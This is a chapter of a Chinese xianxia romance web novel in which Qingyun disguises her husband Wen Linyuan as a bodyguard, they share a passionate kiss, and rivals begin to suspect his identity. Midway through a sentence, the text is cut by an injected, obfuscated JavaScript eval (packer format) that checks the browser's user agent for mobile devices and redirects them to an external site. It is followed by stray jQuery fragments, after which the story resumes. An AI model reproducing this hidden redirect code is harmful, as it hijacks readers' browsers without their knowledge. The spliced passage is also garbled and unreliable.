49. 第 49 章

作品:《好像抱住了一只野兽

    “夫君,你知道你现在在哪里吗,你现在在正道仙门的中央,你必须伪装,我当然只能说你是保镖而且我还要表现得很喜欢这保镖一样了……”


    “你觉得他们会信?别说他们了,我也不信,你以前可是一个出尘不俗的乖乖仙女……你会和你的保镖……”闻临渊不以为然地摸着轻云的下颌线,那动作,似乎下一刻就要撕开轻云的假面具,想要看清楚轻云真正的面貌到底是啥。


    看到闻临渊深不见底的眼睛里泛起熟悉的审视寒光,轻云指尖微微发颤。暮色在他侧脸投下明暗交错的阴影,她分明看见那人喉结滚动时牵动的凌厉下颌线。这样充满戒备的姿态她太熟悉了,每当闻临渊开始怀疑她别有用心时,绷紧的肩颈线条都会在玄色锦袍下显露出刀锋般的弧度。她明白,她又得努力地用柔情让闻临渊相信。


    “爱上你之后,那个乖乖仙女已经死了,如今的我只是一个为了你什么都能做的坏女人。”轻云说着就忽然抬手抚上他紧绷的脖颈,手指甲擦过喉结时满意地感受到掌下肌肉的震颤,当她的尾音化作温热的气息扑在他唇畔之时,她顺势踮起脚尖,将唇印上那两片总是抿着的薄唇。


    闻临渊瞳孔骤缩,不过瞬息迟疑,他便扣住怀中人后脑,带着攻城略地的气势加深这个吻。他身上的淡淡香味混着她发间香突然浓烈起来,轻云踉跄着撞上身后雕花床柱,垂落的纱帐缠住她腰间,在一阵叮咚乱响的落网声里,闻临渊的舌尖已撬开她咬紧的牙齿。


    轻云揪住他衣襟的手指节发白,被吮得发麻的舌尖推拒不成,反倒引来更凶猛的纠缠。直到呼吸都快要不畅,她才感觉桎梏稍松,两人唇齿不舍地分开的时候,她瘫软地坐在满地凌乱的纱帐间。


    “你……”轻云整个人都麻了。


    闻临渊这是在干嘛?她明明只想轻吻示意一下,他这是趁机又在得寸进尺?他的嘴唇好热,亲得我整个人都有奇怪的感觉,感觉他好像还喜欢我。明明上一刻还感觉他那么敌视我,下一刻就感觉他变得这么缱绻,我是不是也感觉有些病了……


    闻临渊默默低头深沉地盯着还在迷糊中的轻云,轻云疲惫地移开视线,却被他捏住下巴扳回。滚烫的指腹摩挲着她红肿的唇瓣,闻临渊垂眸时,浓密的睫毛在眼下投出颤动的影子。他继续吻上轻云的唇,一边吻还开始脱自己的衣服。


    “夫人,保镖我身材满意吗?”闻临渊脱去衣服看着慌张的轻云戏谑道。


    窗外暮色透过纱帘洒在轻云颤抖的唇角上,她攥着裙子的手指泛白,而不远处的铜镜里,正照映出闻临渊肌肉分明的胸膛。


    轻云脑子快炸了,脸红着一把推开了闻临渊。


    这闻临渊,可是真的时刻都不忘记捉弄我呀!


    “我出去拿食物,你乖乖的,穿好衣服。”轻云脸红着打开门落荒而逃。


    门轴轻响着闭合,暮色在屏风上摇曳。闻临渊斜倚在锦绣软枕间,指尖无意识地摩挲着唇上残留的温热,轻云唇上的那抹香似乎还萦绕在齿间。闻临渊还在回味着轻云刚才那被亲得迷蒙的眼睛和逃窜时的慌乱,这时,门外传来纷至沓来的脚步。


    “不用了,我自己将菜拿进去就行……”


    是轻云的声音,轻云的嗓音带着一丝紧绷。


    “不行,轻云小姐,不对,闻夫人,苏少主一直吩咐我们将菜肴送到你的房间里才行。”


    “不必了,真不必了……”轻云的声音更加慌。


    闻临渊一下子觉得好玩了,他支起手肘看着门口,喉间溢出闷笑。他故意将青丝拨散在胸膛,露出腰间那道狰狞旧疤。窗棂透进的光恰好勾勒出胸膛起伏的轮廓,像极了话本里勾魂摄魄的妖精。


    “小轻云,让你胡乱给我戴绿帽子,让我看看你等会又怎么解释你与你的贴身保镖的所谓的清白关系。”闻临渊在心里笑着。


    这时,只听得哗啦一声,门猛地被推开了,风卷着梧桐叶扑进内阁。三个仆人呆立门槛,目瞪口呆地看着榻上玉体横陈的美人。斑驳的光从雕花木窗照进来,映得那人眼尾笑颜如花。


    “夫、夫人这是……”最年长的仆妇踉跄后退,漆盘里的青瓷碗叮叮相撞。


    “我们是不是看了什么不该看的东西……”年轻侍女抓紧手中的盘子。


    仆人们一脸窘迫地窃窃私语的时候,纷乱脚步声中,苏千秋青色大衣扫过石阶,洛如霜提着裙摆紧随其后。当看清榻上之人挑衅的眼神,苏千秋脸色骤然泛白,而闻临渊故意将被褥又扯开三分,还看着苏千秋挑衅地笑。


    轻云赶紧旋身挡在众人面前,衣带如流云卷过仆人。她从仆人手里夺过所有食盒摞在木桌上,瓷盏相碰声清脆如雨。她将所有人推开房门她赶紧关门,待门闩落下,她后背已满是冷汗。


    中庭内,仆从们纷纷离开。而苏千秋则负手立于梧桐树下,呆呆地看着窗纸上两道交叠的人影。洛如霜也很是惊讶,但是她很快反应过来凑近苏千秋道:“千秋哥哥你看到了吗,洛轻云的保镖就睡在她的床上,还……”她一边说着还兴奋地跺脚,鬓间紫珠子晃出幸灾乐祸的碎光。


    但是看起来苏千秋却在思索着,显然没有往洛如霜想的那个方向去想。


    “所以,我猜得不错,那个人不是什么贴身保镖,而就是发了疯病的闻临渊。”苏千秋一脸恍然道,他的眸光比剑锋更冷。


    桐树树叶簌簌地响着,在青石地面投下斑驳影子。洛如霜把玩着玉玲珑的手指停了下来,嗓音陡然拔高:“什么,千秋哥哥,你说那个保镖是发病的闻临渊?”她猛然转头,头花珠串簌簌作响,眼睛死死盯着那间隐在阴影里的小房间。那房间的陈旧木门紧闭,透不出一丝光和声音。


    “正是,不过她只是将她夫君化了妆施了些易容之术而已。”苏千秋垂眸。


    “二姐还真是大胆呀,居然把自己疯了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047544|179015||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的夫君带出来卖药,难道她的夫家穷得连一个仆人也没有了吗?而且她不知道很多仙门中人都是厌恶闻临渊的嘛?”洛如霜轻笑,唇角勾起讥诮弧度。


    苏千秋也若有所思地盯着那紧闭的房门。


    “原来他就是闻临渊吗?那人的眼神,不像是疯子的眼神。”苏千秋回味着刚才闻临渊看他的挑衅的眼神道。


    “千秋,你的意思是?闻临渊只是在装疯?”洛如霜吃惊问。


    “只要试一试就好了。”苏千秋默默说着,一脸沉重地转身走向自己的房间。


    “难道雪夜墟君上真是在装疯?洛轻云,莫非你真的是打不死的,莫非无论怎样惨你都能遇到转机,我不认,我不会让你活着,还过得比我好!”洛如霜露出了与平常伪装的娇生惯养的骄傲小姐不一样的阴狠语气,拂袖转身离开了。


    “现在他们都走了吧?”轻云将耳朵紧贴在木门上,冰凉的触感顺着耳廓蔓延。直到庭院里的说话声彻底消失在尽头,她才松开攥得发白的手指,后背缓缓从门板上滑落。


    “所以刚才苏千秋与洛如霜都看到床上的闻临渊了吗?”她揪着衣襟挡住脸颊,青丝垂落遮住发烫的耳尖。


    “其实他们看到了也没关系……也许他们认为我与我的贴身保镖在玩某种……游戏?”轻云自我安慰道。


    游戏?小轻云没想到你一个弱小的乖乖小仙女居然还挺开放。闻临渊屈肘撑起半边身子,露出漂亮的锁骨。他故意挑衅问:“小轻云,什么游戏需要脱衣服……”闻临渊将尾音拖得绵长,惊得轻云踩到了自己的脚。


    看着床榻边的慌慌张张的少女,闻临渊喉结微动,忽然觉得这游戏当真有趣得紧。


    “健壮的小保镖被夫人关在屋子里,保镖和夫人脱了衣服玩的游戏吗。完了,完了,洛轻云,你的一世英名算是彻底毁了。”潮湿的风裹着虫鸣钻入窗缝,轻云耳尖通红地攥着衣襟,轻云自己也越想越觉得怪怪的,一边自言自语一边站在房门后懊恼地捶头跺脚。


    闻临渊则坐在床上看着发疯的轻云,他被气得差点笑了出来。


    还好轻云很快就清醒过来,想起了刚才苏千秋与洛如霜看闻临渊的眼神有些奇怪。


    “不好,苏千秋洛如霜他们似乎已经怀疑我身边这个衣着破旧,面貌黝黑的男子就是传说中的疯子闻临渊本人了。”她忽然转身,布裙在青砖上旋开弧度。


    轻云有些后怕地自言自语:“如果他们怀疑了闻临渊就是我身边这人,那么闻临渊很可能就有危险,看来我要多多保护闻临渊一些,不要让歹人趁机作乱为好。”


    “终于清醒了,我的小轻云。难道你真的不是打算要杀我,你到底想要干嘛?不过你的夫君还没有那么脆弱,也不会一直让你拼命保护的。不过说起来被你保护着的我真的感觉好安心。”闻临渊在心里说着,他的脸上露出一丝宠溺的微笑,随即脸上又恢复了凌厉。